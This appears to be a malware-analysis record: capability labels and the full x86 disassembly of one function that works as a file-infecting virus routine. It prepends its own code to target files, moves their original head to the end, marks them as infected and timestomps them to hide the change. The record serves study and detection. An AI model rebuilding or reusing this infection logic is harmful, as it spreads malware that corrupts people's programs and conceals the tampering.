Function at 0x404198
Capabilities:
Get file size
Read file on windows
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff48
push ebx
push esi
xor edx, edx
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call fcn.00403654
xor eax, eax
push ebp
push 0x404407
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80000000
lea eax, [ebp - 0xa0]
push eax
mov eax, dword [ebp - 8]
call fcn.00403664
push eax
call sub.kernel32.dll_OpenFile
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_GetFileTime
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x18]
push eax
call sub.kernel32.dll_FileTimeToSystemTime
push ebx
call sub.kernel32.dll_CloseHandle
lea edx, [ebp - 4]
mov eax, 0x40441c
call fcn.00403f88
lea edx, [ebp - 0xb4]
mov eax, 0x40444c
call fcn.00403f88
mov edx, dword [ebp - 0xb4]
lea eax, [ebp - 4]
call fcn.0040346c
cmp esi, 0x3938700
jae 0x4043dc
cmp esi, 0x6c00
jbe 0x4043dc
cmp word [ebp - 0xa6], 1
je 0x4043dc
cmp word [ebp - 0xb0], 0x7cc
jbe 0x4043dc
push ebp
call fcn.00404120
pop ecx
test al, al
je 0x4043dc
push 0x80
mov eax, dword [ebp - 8]
call fcn.00403664
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
push ebp
push 0x4043d5
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
lea eax, [ebp - 0xa0]
push eax
mov eax, dword [ebp - 8]
call fcn.00403664
push eax
call sub.kernel32.dll_OpenFile
mov esi, eax
push 0
push 0
push 0
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push 0x6c00
push 0x407664
push esi
call sub.kernel32.dll_ReadFile
push 0
push 0
push 0
push esi
call sub.kernel32.dll_GetFileSize
push eax
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0x407664
push esi
call sub.kernel32.dll_WriteFile_1
mov eax, dword [0x4060a4]
mov byte [eax], 2
push 0
lea eax, [ebp - 0xa0]
push eax
lea edx, [ebp - 0xb8]
xor eax, eax
call fcn.004027f0
mov eax, dword [ebp - 0xb8]
call fcn.00403664
push eax
call sub.kernel32.dll_OpenFile
mov ebx, eax
push 0
push 0x40e458
push 0x6c00
push 0x407664
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4060a4]
mov byte [eax], 0
push 0
push 0
push 0
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10]
push eax
push 0x6c00
push 0x407664
push esi
call sub.kernel32.dll_WriteFile_1
mov word [ebp - 0xa6], 1
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xb0]
push eax
call sub.kernel32.dll_SystemTimeToFileTime
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call sub.kernel32.dll_SetFileTime
push esi
call sub.kernel32.dll_CloseHandle
mov al, byte [0x40e2c3]
and al, byte [0x40e2c5]
je 0x4043c7
mov byte [0x40e2c5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4043dc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40440e
lea eax, [ebp - 0xb8]
mov edx, 2
call fcn.00403304
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403304
ret